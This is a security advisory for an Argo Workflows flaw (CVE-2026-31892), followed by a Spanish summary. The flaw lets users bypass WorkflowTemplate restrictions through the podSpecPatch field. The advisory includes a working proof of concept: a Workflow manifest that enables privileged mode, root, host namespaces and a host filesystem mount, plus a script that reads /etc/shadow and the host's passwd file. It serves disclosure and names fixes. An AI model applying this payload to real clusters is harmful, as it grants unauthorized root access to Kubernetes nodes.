CVE-2026-31892

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.

Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode in github.com/argoproj/argo-workflows

## Summary A user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation. ## Details Three issues combine to create this vulnerability: 1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value. 2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`. 3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present. ## PoC ### Prerequisites A local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/). #### 1. Create a kind cluster and install Argo Workflows ```bash kind create cluster --name argo-poc kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml ``` Note: `--server-side` is required because some CRDs exceed the client-side annotation size limit. Wait for the controller to be ready: ```bash kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s ``` #### 2. Enable `templateReferencing: Strict` Patch the workflow controller configmap to enforce Strict mode: ```bash kubectl patch configmap workflow-controller-configmap -n argo --type merge \ -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}' ``` Restart the controller to pick up the new config: ```bash kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s ``` #### 3. Verify Strict mode is active Attempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: strict-test- spec: entrypoint: test templates: - name: test container: image: alpine command: [echo, "hello"] EOF ``` The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status: ```bash STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1) kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}' ``` Expected output: ``` Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode ``` #### 4: Create a hardened WorkflowTemplate An administrator creates a `WorkflowTemplate` with restrictive security settings: ```bash cat <<'EOF' | kubectl apply -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: secure-template namespace: argo annotations: description: "Admin-approved secure template with hardened security settings" spec: entrypoint: secure-task securityContext: runAsNonRoot: true runAsUser: 1000 fsGroup: 1000 templates: - name: secure-task container: image: alpine:latest command: ["/bin/sh", "-c"] args: - | echo "=== Security Context Check ===" echo "Current UID: $(id -u)" echo "Current GID: $(id -g)" if cat /etc/shadow 2>/dev/null; then echo "EXPLOITED: Can read /etc/shadow!" else echo "SECURE: Cannot read /etc/shadow" fi if ls /host/etc/passwd 2>/dev/null; then echo "EXPLOITED: Host filesystem accessible!" cat /host/etc/passwd | head -5 else echo "SECURE: No host filesystem access" fi if [ "$(id -u)" = "0" ]; then echo "EXPLOITED: Running as root!" else echo "SECURE: Running as non-root (UID: $(id -u))" fi echo "=== End Check ===" securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false capabilities: drop: - ALL EOF ``` #### 5. Submit a legitimate Workflow (baseline) Submit a Workflow that references the secure template without modification: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: legit-use- namespace: argo spec: workflowTemplateRef: name: secure-template EOF ``` Wait for completion and check logs: ```bash LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1) kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main ``` Expected output (confirming the template's security settings are applied): ``` === Security Context Check === Current UID: 1000 Current GID: 0 SECURE: Cannot read /etc/shadow SECURE: No host filesystem access SECURE: Running as non-root (UID: 1000) === End Check === ``` #### 6. Submit the bypass Workflow Submit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: bypass-security- namespace: argo spec: workflowTemplateRef: name: secure-template podSpecPatch: | hostPID: true hostNetwork: true containers: - name: main securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: add: - ALL drop: [] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory EOF ``` Wait for completion and check logs: ```bash BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1) kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main ``` Expected output (all security settings bypassed): ``` === Security Context Check === Current UID: 0 Current GID: 0 root:*::0::::: bin:!::0::::: [... /etc/shadow contents dumped ...] EXPLOITED: Can read /etc/shadow! EXPLOITED: Host filesystem accessible! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [... host /etc/passwd contents ...] EXPLOITED: Running as root! === End Check === ``` The file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0. ## Impact The purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature: > You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature. A user who can submit Workflows referencing approved templates can use `podSpecPatch` to: - Run containers as root (`runAsUser: 0`) - Enable privileged mode (`privileged: true`) - Mount the host filesystem (`hostPath` volumes) - Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`) - Add all Linux capabilities (`capabilities.add: ["ALL"]`) This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`. The `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149. ## Mitigation When `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`. Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.

Argo Workflows es un motor de flujo de trabajo de código abierto nativo de contenedores para orquestar trabajos paralelos en Kubernetes. Desde la versión 2.9.0 hasta antes de la 4.0.2 y la 3.7.11, un usuario que puede enviar Workflows puede eludir completamente todas las configuraciones de seguridad definidas en un WorkflowTemplate al incluir un campo podSpecPatch en su envío de Workflow. Esto funciona incluso cuando el controlador está configurado con templateReferencing: Strict, que está específicamente documentado como un mecanismo para restringir a los usuarios a plantillas aprobadas por el administrador. El campo podSpecPatch en un Workflow enviado tiene precedencia sobre el WorkflowTemplate referenciado durante la fusión de especificaciones y se aplica directamente a la especificación del pod en el momento de la creación sin validación de seguridad. Esta vulnerabilidad está corregida en las versiones 4.0.2 y 3.7.11.